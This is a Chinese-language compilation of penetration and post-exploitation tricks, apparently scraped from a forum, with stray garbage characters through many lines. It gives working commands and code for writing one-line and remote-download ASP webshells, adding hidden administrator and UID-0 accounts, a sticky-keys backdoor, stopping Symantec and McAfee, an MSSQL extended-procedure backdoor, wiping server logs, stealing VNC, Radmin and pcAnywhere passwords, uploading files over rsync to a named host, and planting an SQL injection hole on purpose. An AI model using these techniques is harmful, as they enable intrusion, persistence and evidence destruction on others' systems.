渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
5 J* e1 P# b% ?5 |On Error Resume Next
" i( [) B7 O' f2 N6 L, m% c. lIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
, b- p' e' t2 L; c/ q        
- z, z- A, t3 \) s. Y7 T
  D$ r; T; J9 ^6 u* xMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

- o5 O2 z- T& bUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
9 ~; P& m' @* b5 a2 F2 i+ D: nEnd If
# G  o( c" ?' F0 x4 \0 xSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
/ W. Q$ T+ E0 F3 m$ Q' CFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
$ K/ _% E0 r) g' Q1 ^# b
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
' _$ ?5 s. T* J  I2 z* N" ^( b
7 l2 K! E2 n3 i- o) K       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

: b  u' D/ ?: |8 S& S<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

6 L5 n1 w+ h$ UOService.ServerComment & "]"
- M8 `& a$ K8 G' x                For Each Binds In OService.ServerBindings
" A: d$ a1 r' {) _     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
" x1 I" s: q% j# F# R) u- ]( ^                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
+ j9 c% ?7 w; \& p9 R# ~) Z                Next
      
5 O/ Q5 Z) p0 I/ K3 y
4 z: `: n0 P% [# C# V3 H; \         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
6 ]7 }' F: G/ m% p2 K3 @6 RWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
1 f. P  ^/ D! C- l2 |6 ]——————————————————————
7 k2 q6 m4 Z. G3 A, U8 @3 U% xphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
, |! Q, Y' M9 K* a) ~: d. t5 m- IphpMyAdmin/darkblue_orange/layout.inc.php
# m0 K' u! g& u  x: ?$ s: K* wphpMyAdmin/index.php?lang[]=1
3 t! e! [9 ?) Q8 tphpmyadmin/themes/darkblue_orange/layout.inc.php
7 R$ H  s# s8 J; I% }————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
- m. [$ d2 P* j( G) G" ACMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
; b8 Q3 d) ~5 H$ @netsh ras set user administrator deny #禁止administrator拨入该VPN
% a7 X: R* F' `; \5 ?netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
, `: R# L' l6 H* C& znetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
6 g8 D6 \9 N+ ]0 W命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

, |# F/ o  C# e% \- Q另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
3 ]  m' ~- ~3 Evar o=new ActiveXObject( "Shell.Users" );
1 W7 o; q1 w: {. k# |z=o.create("test") ;
! V( g2 x8 r$ v3 r) v" Nz.changePassword("123456","")
' }. ^" _6 G8 V( Pz.setting("AccountType")=3;

. h/ Z/ A- W6 z4 kvbs:
Set   o=CreateObject( "Shell.Users" )
3 ~2 U6 p8 C( [% P. }Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
; U! v, v( C! Y4 |* E/ N5 I6 A  Ocmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
* S% a8 y0 M2 g
4 u( w7 ?5 i0 R" l* u' Y命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
9 N' `  |$ i" C1 v3 h$ W8 R1 Z————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
, L; X) T" N  A% K& yb、内网环境（LCX）
c、终端服务器超出了最大允许连接
+ Z0 L  ~$ e% \, H" ^XP 运行mstsc /admin
0 [! J  ]6 y. ?* K2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
6 Y. d4 A7 I- w1 e2 h2 ynet stop "Symantec Event Manager" /y
7 k" i8 \! C/ h& d8 n( D8 cnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
$ ^& P: q$ y/ V; [
) E! d# \+ n% G5 F- t卖咖啡：net stop "McAfee McShield"
- N3 F1 Q4 F7 u————————————————————
( N# {; S3 ]/ ?
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
, `. R- x1 Z% \. A& M: Vcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
6 m* Q  B: g1 Z1 Zcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4 O0 s$ l7 w+ y) M- D" c+ l4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
1 A1 _- R% `9 z+ LUSE master;
, J. j" s7 S$ o( w/ h/ |5 O, cEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
9 b- h; _* a8 T2 f, K/ eGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
/ c: i/ X4 K" AC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
! L7 N; G7 l1 T" G) W8 O% iex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
. q# F# m& X( [$ X! g当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
8 X, r/ b7 `  n# ?* B2 h; J当停止msftpsvc服务后可直接删除ex011124.log
0 Z: \* ]; a. ~( A
MSSQL查询分析器连接记录清除：
4 L$ @. d: g, Y: C/ e8 p- b8 s2 ]MSSQL 2000位于注册表如下：
9 x* e0 c: |: h+ u0 _HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
& q  Q! I+ U3 O8 \& }& d) f找到接接过的信息删除。
5 l  g( }5 q9 Q. @) fMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
$ f- K0 R/ N3 X- p3 `
5 R; N% K( q; {% |& TServer\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

/ c: |+ E0 v( ^/ @9 V4 e+ W& P. W<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
4 @8 Y! g/ \; \! d4 A7 q- M  \On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
$ B8 Z2 d0 H( Q* a& kWith Retrieval
6 S7 x5 l( s8 t: s.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
9 Q0 y$ a. A+ @( L: D  m2 eGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
/ o# ?% i& E* o+ q8 D) E* K- lSet Ads = Server.CreateObject("Adodb.Stream")
' ^1 ^8 a7 v% d; J* B; c7 z4 r$ aWith Ads
.Type = 1
" R5 U0 Z% N: I/ M' t.Open
# ?7 A1 I+ u2 v( p/ y5 B.Write GetRemoteData
0 _1 g7 K6 H0 ?.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
* v8 Q8 T  J3 SSet Ads=nothing
End Sub

* ~5 A% e8 s4 keWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
9 Q( W- f$ e4 y7 J利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
  K5 H( P2 _8 [; q8 ]/ Cregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
, ]: [( |4 E6 q& W- \  F: `Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
4 A& N: X* Y& Q+ h- O然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
) A3 [. O1 M, v# l. q- d保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
$ B) H1 P! H5 _* H& ~: }( v——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
/ R0 f% r0 R* L- W) J/ f5 c——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
' c; w% \8 k* m2 l来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
, h' I: @' X$ B5 H- M7i24的web目录也是可写，权限为administrator。
6 e& U* e4 p: [
1433 SA点构建注入点。
<%
- `$ B! e" w4 [; |/ D7 ]strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
0 U5 z$ w. r$ s4 u' L
9 }5 _0 o; t+ V* D2 v3 V/ p# {";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
$ Q% l6 q  y* gconn.open strCon
! E; Z8 H+ J7 zdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
% k# }# g( B' `0 Lid = request("id")
: V) w) B, \/ W+ QstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
) B& O2 m. J! A) N" c%>
+ S, ?; R. C! [- w复制代码
******liunx 相关******
: M3 O7 l: S9 e* M+ U# ?( i/ I! K, o一.ldap渗透技巧
" ]; Y" I' @, F7 J& o1.cat /etc/nsswitch
3 C" x0 ~) b( o& v2 b( P: g看看密码登录策略我们可以看到使用了file ldap模式

: {+ m/ Z* U% p* s  L* b, b7 u2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
9 b' ]& S- `  b找到ou,dc,dc设置
& \* H* ]. [3 Y6 ]$ R8 ?
3.查找管理员信息
: E2 q- N! r! `4 P匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 L% F" `" t6 o3 w7 r6 m有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
) }% T- }4 e, f7 @/ I- \7 x
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4 D1 M0 ^# W2 `" l2 U% W. d# i- [4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
# S8 P/ ?. {3 i: B; t* h; H
实战:
# r6 d* x. g; d  [0 W0 ]# h1.cat /etc/nsswitch
2 ^$ U" T& [8 d看看密码登录策略我们可以看到使用了file ldap模式
: m0 C1 J7 f8 t# c+ c5 j" `
; R* d7 I# ^9 S' ^2.less /etc/ldap.conf
/ C$ N5 v1 v$ i. j& f; ybase ou=People,dc=unix-center,dc=net
6 t2 j3 h+ r- d& n0 g6 q找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

+ I/ B! h/ Q; I/ ?9 J( q$ a1 ?7 s8 J"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
+ }' |/ z" U! m) J3 [ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

& [5 S! k2 R. ~( {- m$ ^/ q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

; `# }: y& \: N8 O+ H
6 m5 r, u- ], i+ F4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
+ D2 E1 e) {* N6 d& @0 G+ R% R2 R
渗透实战:
1.返回所有的属性
2 s! y+ ~# P6 `' L/ d5 v6 `ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
( v, `: A& k# Z# k3 W3 z. x9 V+ o( K  z: fversion: 1
) b$ x7 ^5 F# \7 U( z1 Zdn: dc=ruc,dc=edu,dc=cn
3 ~8 ~1 [& }2 B3 L8 cdc: ruc
! V" {# b  o' r: mobjectClass: domain
. ?1 z: i* Q, T- I
, @3 V, \* V2 C/ K9 Zdn: uid=manager,dc=ruc,dc=edu,dc=cn
) y- T: s" E& ?8 S, Zuid: manager
9 ~# L0 Q' G9 `( ?' \6 EobjectClass: inetOrgPerson
objectClass: organizationalPerson
  ?. w3 i% Q2 B* L8 ?& BobjectClass: person
$ `( z) c8 q# e; GobjectClass: top
; d+ `" k3 y9 g, z5 @: {3 asn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
, E0 Q' G+ t( ?7 R' L, |uid: superadmin
. y6 E: D# W% K8 y4 |objectClass: inetOrgPerson
$ E7 {% F& m9 i7 ]: U. VobjectClass: organizationalPerson
4 ~9 U. ~6 E) S9 t/ IobjectClass: person
objectClass: top
sn: superadmin
) V9 E, T+ Q* s/ fcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
! u; u) g$ ?/ l5 guid: admin
objectClass: inetOrgPerson
  T. I. {- O  T0 I5 t2 uobjectClass: organizationalPerson
objectClass: person
% M. i; G( j6 e/ A! m1 W' v1 G6 UobjectClass: top
sn: admin
cn: admin

8 }* O5 @1 h6 t* [) Ydn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
) D9 Z! C! r0 M% d1 kobjectClass: top
) j$ J+ _7 n2 \! K8 qobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
$ v; T% d" Q! L/ U  b7 \& K" hsn: dcp_anonymous
* R" _9 C8 W& B* i' \# n; jcn: dcp_anonymous

" U4 n; h% v( i  E5 |( Y; A2.查看基类
; C' \( E& W$ X! Wbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
$ I2 @& O# h( f6 A( Z: ?3 L6 C
$ Z' [/ D% I, x8 umore
version: 1
dn: dc=ruc,dc=edu,dc=cn
0 N- [6 Q3 [2 C+ J( Sdc: ruc
! q. A6 ]2 H) e3 n6 W' sobjectClass: domain
* P4 e& P7 g5 j0 n/ p; a9 v2 k
3.查找
/ v6 x) h& m( v) a% pbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
# c$ z: N: A# L. e2 u4 U1 \) U- aobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
' _* E7 C4 k3 D) osupportedExtension: 2.16.840.1.113730.3.5.7
  G8 g9 u9 M7 K+ W; a; a- b( f. AsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
  m- g. A9 J! H7 o& D6 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
; u- o' x* g5 ?/ ]8 MsupportedExtension: 2.16.840.1.113730.3.5.3
$ u: S5 |% Q' m, _. K( Q3 L. T7 F. [supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
  H7 ^5 }1 R* X9 g% _supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
* S- L( {0 e/ U# L- QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
& ^, a; p: M; W& o2 osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
4 _7 \" t) v7 _% D; L" VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
6 h+ v8 T& \( Q; a! F4 K! LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
4 q/ _/ C% ]/ c8 C  \8 b. ?+ N3 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
) M$ g- t2 U0 J# MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
' c) p" {* V1 A: C) S: ]( {  [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
# X! s% P9 a4 Y) csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
- I2 M6 ^: W6 d4 ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
* m4 Z3 o7 b% [2 T2 H. l  SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
& n9 o2 {! r8 s  ]/ P# e5 xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
5 x8 l4 }1 v+ {5 ?. T. l9 \, PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
1 A2 o3 C/ ~# S/ L) q! q, XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
; a/ f  f& E9 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
/ L7 E0 T. O2 p2 r3 \  X2 dsupportedExtension: 1.3.6.1.4.1.1466.20037
, ?8 d$ \3 V* n4 Y( QsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
! I$ r: `7 I1 r: }- N0 P+ }- SsupportedControl: 2.16.840.1.113730.3.4.3
- v: M0 ^8 k0 q$ UsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
: ~& j4 n2 f5 L- |9 y/ esupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
' E2 s0 x% L) q$ k' VsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
: F0 H$ J( _0 n7 A& DsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
, a3 j9 g9 J+ Z# h$ L( i. _supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
8 _  F( M) [. J$ x  N6 j+ @9 d& XsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
( {" E6 k6 n4 l8 _: ysupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
6 Z! H( F+ j$ `% wsupportedSASLMechanisms: EXTERNAL
+ Y/ h/ Z6 C3 h% C: ]supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
; H/ a5 J, d4 Z; e9 HsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
4 A0 k6 \- O2 z! lnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
& |7 C) C  {5 ^  w8 e/ R* K. d" V& ^supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
& A" {2 M0 a% N7 r) v1 a+ QsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
9 ?1 d0 f9 |+ _) l4 X; P/ \/ {* EsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
* |9 M$ L$ ^" i3 ^9 ysupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
* A( v, y4 S. j) @3 Y# t. lsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
3 J8 n: ]* d* I- I7 `supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
2 D# A( {$ h/ ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
, N7 ~( P. G2 a/ M+ S; PsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
& n  A" N9 h8 }! Z) @$ E9 L3 psupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
$ r+ j: T/ ^6 s: v0 X" ysupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
4 A5 j2 m5 ^+ r, ssupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0 g" y+ ], p' {! QsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
" J& b7 c- N4 J: X* {& T# osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
/ ]: O1 c& o, A! SsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
7 t% @$ D9 l# V: |# o  VsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
; Q. M7 g) e" H' Y# ?supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
3 `2 g! Y: a( T) Z) ?# p& Q5 dsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
8 o* ?2 [  x$ ^7 b: ?8 zsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
$ i0 A1 M$ c  d+ @supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
9 I$ L/ \6 p0 N7 u; e8 J3 q/ n7 rsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
) _# w' Q3 [% j5 wsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
5 o" B2 v6 i+ k" `& J7 V# BsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
# \7 U5 x- \/ N  p& e( F. TsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
4 D. T+ f+ v9 E5 P, {! l8 XsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
$ l5 {$ c3 D. Z" `6 u/ MsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
$ n3 ]+ I3 Q, f7 A+ ysupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
! S) g( i: U7 U6 W  L列举IP
——————
  }! H9 @9 K0 L* W3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
5 k  |9 V" c( Z* oauto
* [) C  @# X7 u' j6 U/ Limg_auto
9 _' F* _" h& Z( ]* hhtml_cms
/ k7 F  `8 H5 n8 u: Jimg_cms
ent_cms
1 [/ Y2 P5 ~4 w% v7 jent_img
) G$ L" K, A7 V9 l8 P. D* h% z+ jceshi
res_img
  C3 {  m1 e* x; q1 v/ x' \res_img_c2
7 s1 g) [4 |# p* n1 |4 Vchip
. Y7 r8 Q7 ]  g) S6 Nchip_c2
ent_icms
games
( W9 \% U  H5 r$ ngamesimg
media
* P- g+ [5 d5 a: g9 tmediaimg
fashion
res-fashion
res-fo
4 n) |8 z1 J6 w0 |taobao-home
6 z' o# ^& l% E; gres-taobao-home
4 ]5 [6 o* m+ {8 ahouse
) ]; T2 T8 k& H  s: i( ores-house
" |' `4 X7 a1 J. N& [res-home
0 N9 G* o9 T7 P0 Zres-edu
& y9 r. V$ g2 j9 cres-ent
2 S! K: q4 D5 ?" d% cres-labs
res-news
8 \" U- V' I5 t( s, @5 q9 m0 v5 Pres-phtv
res-media
home
edu
2 ^  L% I: B8 pnews
0 b) S3 Q0 w! B) F' _* Xres-book

  @6 i  W- X5 }2 |' I/ o- g3 `. h看相应的下级目录(注意一定要在目录后面添加上/)
- Z# R1 Z; o/ P6 Q. \4 p
( n5 K4 o6 j$ W
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
9 }: u5 _4 [. b8 ]" c* h$ _. [+ S
5 A: O% W9 K& L0 ~% Z* P0 W3 i2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

5 e+ V0 p  E- R$ d6 G7 `3.向上更新rsync文件(成功上传,不会覆盖)
4 o7 F- H. x% g; f, E6 [+ ^rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
) m! I- g7 P- T9 h/ j3 M1 M/ Y2 rnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
* |! m2 G% l5 J+ qGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
! \" s& ~* F5 k! n, Ossh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
. t- w# @. w; O# ?* r/ z: Z
六.joomla渗透小技巧
) g" [; @3 t( w  Y& h' |确定版本
% @" t: E% {4 Z/ Aindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

$ X& B) u7 S2 w4 q+ l15&catid=32:languages&Itemid=47
" _" j5 u, D" U# g+ |1 v9 l
重新设置密码
# a9 c% E- D. u3 L. O, y* Iindex.php?option=com_user&view=reset&layout=confirm

/ A+ ]- g- a) D9 c1 E$ u  R七: Linux添加UID为0的root用户
3 P4 `: ^. l# L' r" p1 Auseradd -o -u 0 nothack
0 n- s5 I, M+ p3 z4 }$ {
2 E4 @5 D+ t$ N: n八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
/ z: D( j" q1 v; f* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
5 h5 K/ N& n8 Q% f5 d- p4 O% `* [argp@julius ~]$ id
